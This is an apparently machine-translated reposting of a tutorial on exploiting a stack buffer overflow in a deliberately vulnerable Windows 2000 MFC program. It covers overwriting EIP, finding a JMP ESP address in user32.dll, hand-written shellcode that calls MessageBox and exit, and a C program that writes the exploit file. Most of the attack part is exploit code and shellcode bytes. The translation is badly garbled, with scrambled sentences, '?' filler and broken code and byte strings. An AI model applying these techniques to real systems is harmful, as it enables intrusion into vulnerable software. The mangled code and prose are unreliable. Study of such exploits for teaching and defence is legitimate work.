Windows 2000 buffer overflows

xiaoxiao2021-03-06  88

Windows 2000 buffer overflows

Original: jason

Translation / finishing / adaptation: Backend

April 12, 2000

?

- [Foreword

?

I have read many articles about buffers overflow on the Internet. Among them

The number is based on the * NIX operating system platform. Later, I worshiped my IPXODI.

"Stack overflow under the Windows system" (already published in the Green League Network Security Monthly 2000

In the third phase of the year, I happened to see Mr. Jason

"Windows NT Buffer Overflow's from Start To Finish",

Thanks to a lot. During the translation of Mr. Jason's article, because my machine is installed.

Windows 2000 Server, discovers the details slightly in the debugging of the original text.

Therefore, the relevant source programs, dynamic link libraries, and offset provided herein are in myself.

Debugging on the machine is accurate. (For different versions of dynamic link libraries, the programmer needs to be debugged.)

?

This article should be entry level. Although it is relatively simple, it is slow to slow down

The rush spillage has a certain versatility. For example, the stack overflow address determines, jump instruction

Find and use, overflow the writing of the execution code, and so on. Just find the Windows system

There are programs in the buffer overflow vulnerability, basically through these steps.

But as IPXODI is pointed out, because the version of the dynamic link library in Windows is updated faster,

Be sure to debug according to the actual platform of the programmer. Release this type of security vulnerability announcement or overflow

When an attack program, the source code, system platform, and dynamic link library should be as best as possible.

Columns are clear. Otherwise, others may be very powerful. ;)

?

?

?

- [debugging, test environment

?

Microsoft Visual C 6.0

Microsoft Windows 2000 Server (Chinese, internal version number: 2195)

?

?

?

- [debugging, testing process

?

First, write an application where there is a buffer overflow vulnerability. This program can read files

Content, so we can overflow the program by modifying the content read files. ;-)

Create a new console application in the Visual C development environment,

Select "An Application That Supports MFC" and click "Finish".

(Note: In fact, it is not necessarily the MFC application, but it is my own habit.

Yes. ;-))) Add some necessary code to this application, as follows:

?

CWINAPPPP;

?

Using namespace std;

?

Void overflow (char * buff);

?

Void Overflow (Char * BUFF)

{

????? cfile file;

????? cfileException ER;

????? if (! file.open (_t ("overflow.txt"), cfile :: moderad, & er))

????? {

?????????? Er.ReportError ();

?????????? Return;

?????}

?

????? int x = file.getLength ();

????? File.read (buff, x);

}

?

INT_Tmain (int Argc, tchar * argv [], tchar * envp [])

{

????? int NRETCODE = 0;

?

?????? // initialize mfc and print and error on failure ????? if (! AFXWininit (: getModuleHandle (Null), NULL, :: getcommandline (), 0))

????? {

??????????? // Todo: Change Error Code To Suit your Needs

?????????? CERR << _t ("Fatal Error: MFC Initialization Failed") << ENDL;

?????????? nretcode = 1;

?????}

????? ELSE

????? {

?????????? char buff [10];

?????????? overflow (buff);

?????}

???? Return nretcode;

}?

?

Now let's analyze the above C code, find a vulnerability. this is

An MFC console application, "main" function is different from other programs, but work

The mechanism is basically consistent. We mainly analyze the "else" code in this function. The first is the first

"CHAR BUFF [10]" defines a 10-character long local variable. we all know,

The memory space of the local variable is allocated in the stack. (If you don't even know this, build

Don't continue to look down. :)) Then call the buff variable as the parameter Overflow

function. Ok, let us analyze the Overflow function. The first is a CFILE object,

It is a cfileException object. Next, try to open the current directory by reading permissions.

The file "overflow.txt". If you have successfully, read all the contents of the file

Take the buff array variable. Discover the problem? BUFF variables are only 10 characters long. in case

What happens when reading the content length of 100? Yes, "buffer overflow"!

And the buffer overflows occurred in the stack. It can be seen in the latter test.

What can I do with this vulnerability! ;) Now let's create a text file "overflow.txt",

And put it in the Project directory of this application.

?

Let us discuss the memory structure of Windows NT / 2000 before proceeding.

Each process of NT / 2000 is assigned a 4GB (0xFFFFFFFF) virtual memory at startup.

Some of these parts are actually shared by all processes, such as cores and device drivers.

area. But they are all mapped to virtual address spaces for each process. Actually don't enter

The process is assigned to the 4GB of physical memory, but only the physical memory is allocated only when needed. So every one

The process has its own 4GB virtual memory, and the address range is from 0x00000000 to 0xFffffFFF.

Among them, 0x00000000-0x0000FFFF is allocated to NULL pointer. Access to the area

Domain memory will result in an "illegal access" error. 0x00010000-0x7ffefff is a user process

space. The image of the EXE file is loaded (start address 0x00400000), DLL (moving)

Status link library) is also loaded into this space. If the code of the DLL or EXE is loaded into this field

Some addresses can be executed. Access the address that there is no code loaded in this area will guide

To "Illegal Access" errors. 0x7fff0000-0x7fffffff is a reserved area, for this area

Any access will result in an "illegal access" error. 0x80000000-0xFffffFFF is only for operating systems. Used to load device drivers and other core level code. From user-level

Access this area using a program (Ring 3) will result in an "illegal access" error.

?

Now return to the "overflow.txt" file. Now we will constantly add this text file.

Plus characters until the system dialog box that is illegally accessed by the application. Here, what is filled?

Characters are very important (the reason will be known). I chose lowercase letters "a" to fill

Text file. We already know that the buffer is only 10 characters long, then fill 11 characters first.

(Note: Compiling applications in DEBUG, otherwise the result may vary.)

no response. We continue to fill characters ... until 18 characters apply to crash.

But this crash is not much for us. Continue to fill! When the string length is 24,

The dialog box information of the pop-up is observed: "0x61616161" instruction is referenced "

0x61616161 "Memory. This memory cannot be" Written "." I think everyone should

What is the ASCII code represented by "0x61"? ;) If your machine is installed

Visual C , click the "Cancel" button to debug the application. Enter the debugging environment

After selecting the "View" menu - "Debug Windows" - "Registers",

The register window can be opened. If you are not in charge of compilation, it is recommended to find the book to see the book.

Look. The contents of registers such as EAX, EBS, and EIP are seen in the register window. EIP is of course

The most important thing. The content of the EIP is the address of the program to perform instructions next step. We note

It means that the value of the ESP register is not damaged, and it seems that it is not far from our BUFF variable. Next

Step We need to find the value of the ESP is from how to deal with it.

?

It will be complex now (this is the source of fun! :)). In the main function

The last line code sets a breakpoint because we only care about what happened here. Now

Move the debugger and let the program have no trouble to run the breakpoint. Then switch to the anti-assembly window (press

Alt 8, or click "View" - "Debug Windows" - "Disassembly").

Also open the memory window and register window.

?

0040155B 5F ??????????????????? eDi

0040155C 5E ??????????????????? ESI

0040155D 5B ??????????????????? ebx

0040155E 83 C4 50 ???????????? ADD ???????? ESP, 50H

00401561 3B EC ??????????????? CMP ???????? EBP, ESP

00401563 E8 7e 00 00 ?????? Call ???????? _ chkesp (004015E6)

00401568 8B E5 ??????????????????? ESP, EBP

0040156A 5D ??????????????????? eBp ????????

0040156B C3 ?????????????????? Ret

?

What is these things? Assembly code. If you don't understand the compilation, I am here.

Do some simple instructions. The first line is "POP EDI". Directive POP is used to pass only in the stack

The top data moves to the subsequent subsequent registers. It should be noted that the ESP register. ESP is

32-bit stack pointer. A POP instructions move a data unit at the top of the stack, here is here

DWORD (double word, 4 bytes), to the specified register, plus the stack pointer 4 (because 4 bytes are moved). Let's take a look at the ESP register before performing the next step. In the memory window

Enter the ESP to get the address and content of the current pointing to the ESP. Look at the memory pointing to the ESP

The content of the 4 bytes of the address and the contents of the EDI register. Now, "POP.edi" is now executed.

We can see the value of the memory address pointed to the ESP in the EDI register, while ESP

The value also increased by 4. The following two instructions are the same, but the registers are different.

Single to perform them. The three-way instructions followed by this article did not make sense, so they did not explain here.

Single step to the instruction "MOV ESP, EBP", which assumes the value of the EBP to the ESP register.

Then the command "POP EBP", which is important. Let's enter ESP in the memory window.

You can see that the memory address has a string "0x61" (the 16-enabled value of 'A'). therefore

0x61616161 will be popped up to the EBP register. Single-step execution This instruction can be tested.

Wrill? ;) Ok, although I said it is right, but it seems that we haven't obtained any useful

thing? Now, the last instruction "RET" is now. The command "RET" is returned in the assembly

make. How do it know where to return? Value from the top of the stack

set. This command can be represented as "POP EIP if used by the POP instruction."

You can't execute this POP directive;)). It pops up 4 words from the ESP pointing to the memory address

The contents are given to the EIP register (the EIP register is a 32-bit instruction pointer). This means that

Regardless of which memory address is pointed to the EIP, the command will always be the next instruction. I

We will enter the ESP again in the memory window, see instructions that will be assigned to the address of the EIP register

What is it. In fact, I would like to know that you should know the 0x61 string of 4 words. Let me now

We will perform the instruction in step, see the value of the EIP is 0x61616161, which means the next command address.

For 0x61616161, but the instruction is displayed as ??? (meaning invalid instruction). Therefore, then single step

The instruction will result in an "access illegal" error. Now look at the ESP register. It correctly points correctly

The next value in the stack. That is, the next step is to determine the success of the buffer successfully overflow.

When (EIP = 0x61616161), whether the address pointed to by the ESP can store our overflow.

Code! We add 4 'a' again in the overflow.txt file, and a total of 28 'A').

And debug the program again, observe the memory window and register window when executing to the "Ret" instruction.

Will find that the content of the ESP points to the memory address of the ESP is 4-byte length 0x61 string after executing the "RET" instruction.

Great! what does this mean? ! Let everyone want to go. ;)))))

?

Now I will go back and analyze it. We just used characters 'a' (0x61) as text

Fill content of files to determine that there is a buffer overflow. Due to EIP = 0x61616161, when I

When the program accesses the instruction attempt to access the address, it is caused by an invalid instruction.

Unveiled. But what if the address pointed to the executable code? For example, loading

Save DLL code, etc. Haha, this will execute these instructions, so that some don't do something else.

People can't imagine! ;)

?

Ok, so far, we can control the value of the EIP, and you know the stack points to the ESP.

Location, and can write any data to the stack. So what is the next step? Of course you find

Make the system performs our overflow code. If you have seen the article in IPXODI

"Stack overflow under the Windows system" will know that the jump instruction (JMP ESP) is

It's best. The reason is not more, please read carefully.

"Stack overflow under the Windows system" is clear. As analyzed in front, this is because

After executing the RET instruction, the ESP is just to point to our overflow code! (... oh, can't find it,

I haven't analyzed it? In this article, look for words "great", huh, huh. Now we have to

The address of the application is found to find the address containing the "JMP ESP" instruction. First of all, is of course it is

The machine code of this instruction is set. How to determine? Do you have to teach this? Ok, teach it. Only

Once, no violation. ;) Actually, it is very simple, follow these steps. First

Create a new application in Visual C . (Of course, the console program, or support

MFC, this is my habit. Ha ha. Enter the following code:

?

CWINAPPPP;

?

Using namespace std;

?

INT_Tmain (int Argc, tchar * argv [], tchar * envp [])

{

????? int NRETCODE = 0;

?

????? // initialize mfc and print and error on five

????? if (! Afxwininit (:: getModuleHandle (Null), NULL, :: getcommandline (), 0))

????? {

??????????? // Todo: Change Error Code To Suit your Needs

?????????? CERR << _t ("Fatal Error: MFC Initialization Failed") << ENDL;

?????????? nretcode = 1;

?????}

????? ELSE

????? {

?????? return 0;

?????? __ ASM JMP ESP

?????}

????? Return nretcode;

}

?

The next step is how to find this string machine code in our process space. It is also very simple, as long as

Modify the code:

?

CWINAPPPP;

?

Using namespace std;

?

INT_Tmain (int Argc, tchar * argv [], tchar * envp [])

{

????? int NRETCODE = 0;

?

????? // initialize mfc and print and error on five

????? if (! Afxwininit (:: getModuleHandle (Null), NULL, :: getcommandline (), 0))

????? {

??????????? // Todo: Change Error Code To Suit your Needs

?????????? CERR << _t ("Fatal Error: MFC Initialization Failed") << ENDL;

?????????? nretcode = 1;

?????}

????? ELSE

????? {?????????? # IF 0

?????????? return 0;

?????????? __ASM JMP ESP

?

??????????? # else

?

?????????? bool wE_loaded_it = false

?????????? hinstance h;

?????????? tchar dllname [] = _t ("user32");

?

?????????? h = getModuleHandle (DLLNAME);

?????????? IF (h == null)

?????????? {

??????????????? h = loadLibrary (dllname);

??????????????? IF (h == null)

??????????????? {

????????????????????? Cout << "Error Loading DLL:"

????????????????}

??????????????? we_loaded_it = true;

??????????}

?

?????????? Byte * ptr = (byte *) h;

?????????? Bool Done = false;

?????????? for (int y = 0; done; y )

?????????? {

??????????????? Try

??????????????? {

????????????????????? IF (PTR [Y] == 0xFF && PTR [Y 1] == 0xE4)

???????????????????? {

?????????????????????????? INT POS = (int) PTR Y;

????????????????????????????????????????????????????????????????????????????????????????????????????????????????? ????}

????????????????}

??????????? caratch (...)

??????????? {

????????????????????????? cout << "end of"

???????????}

??????}

?

?????? if (wE_loaded_it) Freelibrary (h);

?????? # Endif

?????}

????? Return nretcode;

}

?

Maybe you will be strange, why not use kernel32.dll? Is it more common? I just started

It is also the process space of the dynamic link library Kernel32 to find "FF E4", but actually

Can't find! (Found at least 6 in Windows NT 4 !: (() later I tried

User32.dll is found and finally found. Running program output:

?

Opcode Found AT 0x77E2E32A

End of user32 memory reached

?

Note that different dynamic link libraries and versions may be different. My dynamic

Link library User32.dll version is 5.00.2180.1. Now use 16 credit editor

(Such as Ultra Edit) Open Overflow.txt text file, starting in the 21-character position

Into 2A E3 E2 77. (Why do you want to enter 2A E3 E2 77? Why do you want to explain, if you don't understand this, I suggest you don't study again.

The buffer overflows! We first keep the four 'A' characters behind. Use debugger running

The order, execute it to the "RET" command to see if the next instruction is "JMP ESP",

Moreover, whether the content of the ESP before "JMP ESP" is 0x61616161. If everything is correct,

Ok, so far so good.;) Let's make more exciting things - write buffer overflow

Out of execution code.

?

First, you must ensure that all required dynamic link libraries are loaded into the process space. A kind of party

The method is the dynamic link library that uses the program itself; another method is loaded in the overflow code

This dynamic link library. (Detalated between IPXoDi's "Stack overflow under Windows System"

Shao. I use the first method here. why? Because it is simple. ;)

?

Oh, in order to program the simple, the main purpose of this article is to teach, the focus is the principle, so

The code is only popped up when the code is executed. If you want to write more aggressive or more complex execution

Code, you can refer to IPXoDi "Stack Overflow under Windows System" and Green Corps

"Advanced Buffer Overflow". However, the consequences are at your own risk!

?

First we have to find how to call the MessageBox function in your code. WINDOWS API

Set, MessageBox depends on user32.lib, that is, it is located in user32.dll dynamic link

In the library. Start the Depends tool, open the application that will be overflow, you can find it will add

User32.dll. Then look for the memory location of the Messagebox function. In my machine

User32.dll, the offset of the Messageboxa function (entry point)

For 0x00033d68. User32.dll's starting address in memory is 0x77df0000. Phase

Adding an absolute memory address of the Messagebox function is 0x77E23D68. So we need

Set the stack correctly in the assembly code and call 0x77E23D68. Based on Steve Fewer

WINAMP buffer overflow code learning and research, the assembly code I wrote is as follows:

?

Push ??????? EBP

Push ??????? ECX

MOV ??????? EBP, ESP

SUB ???????? ESP, 54H

XOR ????????? ECX, ECX

MOV ???????? Byte PTR [EBP-14H], 'S'

MOV ???????? Byte PTR [EBP-13H], 'u'

MOV ???????? Byte PTR [EBP-12H], 'C'

MOV ???????? Byte PTR [EBP-11H], 'C'

MOV ???????? Byte PTR [EBP-10H], 'E'

MOV ???????? Byte PTR [EBP-0FH], 'S'

MOV ???????? Byte PTR [EBP-0EH], 'S'

MOV ???????? Byte PTR [EBP-0DH], CL

MOV ???????? Byte PTR [EBP-0CH], 'W'

MOV ???????? Byte PTR [EBP-0BH], 'E'

MOV ???????? Byte PTR [EBP-0AH], ''

MOV ???????? Byte PTR [EBP-9], 'G'

MOV ???????? Byte PTR [EBP-8], 'O'

MOV ???????? Byte PTR [EBP-7], 'T'

MOV ???????? Byte PTR [EBP-6], ''

MOV ???????? Byte PTR [EBP-5], 'I'

MOV ???????? Byte PTR [EBP-4], 'T'

MOV ???????? Byte PTR [EBP-3], '!'

MOV ???????? Byte PTR [EBP-2], CL

Push ??????? ECX

Lea ????????? eax, [EBP-14H]

Push ?????? eax

LEA ????????? eax, [EBP-0CH]

Push ?????? eax

Push ?????? ECX

MOV ?????? DWORD PTR [EBP-18H], 0x 77E23D68

Call ??????? DWORD PTR [EBP-18H]

MOV ????? ESP, EBP

POP ????? ECX

POP ????? EBP

?

The above assembly code will call the MessageBox function located at 0x77E23D68 so that it pops up the title

"Success", the message content is the message box of "We got it!". I have to pay attention, I

We can't use 0 (null) as characters in a string, please refer to IPXoDi

"Advanced Buffer Overflow" and Green Corps under Windows System. Now

In addition, we have to get the machine code of these assembly code. The method has been introduced earlier and no longer repeat.

The machine code that is finally organized is:

?

/ X55 / X51 / XEC / XEC / X33 / XC9 / XC6 / X45 / XEC / X53 / XC6 / X45 / XED / X75 / XC6 / X45

/ XEE / X63 / XC6 / X 45 / XEF / XF0 / XC6 / XC6 / X45 / XF1 / X73 / XC6 / X45 / XF2 / X73 / X88 / X4D

/ XF3 / XC6 / X45 / XF4 / X57 / XC6 / X45 / XF5 / XF6 / X20 / XC6 / X45 / XF7 / X47 / XC6 / X45 / XF8

/ X6F / XC6 / X45 / XF9 / X74 / XC6 / X45 / XFA / X20 / XC6 / X45 / XFB / X49 / XC6 / X45 / XFC / X74 / XC6 / X45 / XFD

/ x21 / x88 / x4d / xfe / x51 / x8d / x45 / x-x50 / x8d / x45 / xf4 / x50 / x51 / xc7 / x45 / xe8 / x68 / x3d

/ XE2 / X77 / XFF / X55 / XE8 / X8B / XE5 / X59 / X5D

?

If this is now entered into the overflow.txt file, it will be able to overflow, and we will pop up.

System box. But when you click the "OK" button, the application will crash. To avoid this

The situation, we need to call the EXIT function to close the program normally. Check out the Windows API documentation,

It is necessary to import MSVCRT.LIB, so it is sure to be in the MSVCRT.DLL dynamic link library. Use Depends

It is because our application will be discovered by the application to load MSVCRTD.DLL instead of MSVCRT.dll.

The program is now used is a debug version. But there is not much difference. MSVCRTD.DLL starts in memory

The start address is 0x10200000, and the EXTRY POINT is 0x0000af90, then

The absolute address of the EXIT function is 0x1020af90. Therefore, the assembly code is:

?

Push ??????? EBP

Push ??????? ECX

MOV ??????? EBP, ESP

SUB ???????? ESP, 10h

XOR ???????? ECX, ECX

Push ?????? ECX

MOV ?????? DWORD PTR [EBP-4], 0x1020af90

Call ??????? DWORD PTR [EBP-4]

MOV ?????? ESP, EBP

POP ?????? ECX

POP ?????? EBP

?

The above code calls the EXIT function with 0 to the parameter, so that the application runs out with code 0. Be sorted

The machine code is as follows:

?

/ X55 / X51 / XEC / XEC / X33 / XC9 / X51 / XC7 / X45 / XFC / X90 / XAF / X20 / X10 / XFF / X55 / XFC / X8B / XE5 / X59 / X5D

?

The above two string machine codes are now entered into the overflow.txt file (starting at the 25th byte.

Don't ask why this time? ! If you still don't understand, review the previous content!)

?

If you are troublesome, you can use the following procedure (how, enough friends?;)):

?

CWINAPPPP;

?

Using namespace std;

?

INT_Tmain (int Argc, tchar * argv [], tchar * envp [])

{

? int nretcode = 0;

?

? // Initialize MFC and Print and Error On Failure

? if (! AFXWININIT (:: getModuleHandle (Null), NULL, :: getcommandline (), 0))

? {

?? CERR << _t ("Fatal Error: MFC Initialization Failed") << ENDL;

?? nretcode = 1;

?

? Else

? {

?? char buffer [20];

?? // 0x77e2e32a //User32.dll JMP ESP

?? char EIP [] = "/ x2a / xe3 / xe2 / x77";

?? char sploit [] = "/ x55 / x51 / x8b / x54 / x33 / xc9 / xc6 / x45 / xec / x53 / xc6 / x45 / x-x 4 / x75 / xc6 / x45 / XEE"

?????????????????????????? "/ x63 / xc6 / x45 / Xef / x63 / XC6 / X45 / XF0 / X65 / XC6 / X45 / XF1 / X73 / XC6 / X45 / XF2 / X73 / X88 / X4D / XF3 / XC6 "

??????????????????????????????????? "/ x45 / xf4 / x57 / xc6 / x45 / xf5 / x65 / xc6 / x45 / xf6 / x20 / xc6 / X45 / XF7 / X47 / XC6 / X45 / XF8 / X6F / XC6 / X45 "

?????????????????????????????????? "/ XF9 / X74 / XC6 / X45 / XFA / X20 / XC6 / X45 / XFB / X49 / XC6 / X45 / XFC / X74 / XC6 / X45 / XFD / X21 / X88 / X4D / XFE "

?????????????????????????? "/ x51 / x8d / x45 / XEC / X50 / X8D / X45 / XF4 / X50 / X51 / XC7 / X45 / XE8 / X68 / X3D / XE2 / X77 / XFF / X55 / XE8 / X8B "

?????????????????????????????????? "/ XE5 / X59 / X5D / X55 / X51 / X8B / XEC / X83 / XEC / X10 / X33 / XC9 / X51 / XC7 / X45 / XFC / X90 / XAF / X20 / X10 / XFF "????????????????" / X55 / XFC / X8B / XE5 / X59 / X5D ";

?

?? for (int x = 0; x <20; x )

?? {

??? buffer [x] = 0x90;

??}

?

?? cfile file;

?? File.open ("overflow.txt", cfile :: modecreate | cfile :: modewrite;

?

?? File.Write (buffer, 20);

?? File.Write (EIP, Strlen (EIP));

?? file.write (sploit, strlen (sploit);

??

?? file.close ();

?

?

Return Nretcode;

}

?

After ensuring that the content and position of all files are accurate, run the overflower .......... Haha, our

The message box is coming out! ! ! Click the "OK" button, the program is turned off! ! !

?

- [Post "

?

Recently visited foreign security sites, hacking sites, found more and more attention to the security of Windows systems,

It is also growing more and more, including L0PHT, Cerberus, etc. Especially in some hacking

A strong stack of attack programs for Windows 9x / NT / 2K. I really can't imagine, such as

If Micro $ OFT discloses all Windows source code, how many security vulnerabilities are discovered. And I think, according to the country

The universality of the Windows platform is used, and the problem will be more serious. So I think the security of Windows is in China.

Sexual research should be more tight! Although the actual situation is frustrating ... :(

?

This article is not intended to organize it, because I have just started researching the buffer overflow under the Windows system.

Out, there is not much thing, worrying is laughing by the WINDOWS master. Later, I figured it out: only ""

"Make the ax" can you know that your shortcomings can make progress faster. I hope that the WINDOWS masters, hackers master

A lot of advice. Id as IPXODI, Yuan Ge, Zer9, etc. in our green corps, are safe under the Windows platform.

Experts, if this article can play the role of "throwing bricks", I am very satisfied.

?

<<< Finished >>>

转载请注明原文地址:https://www.9cbs.com/read-122521.html

New Post(0)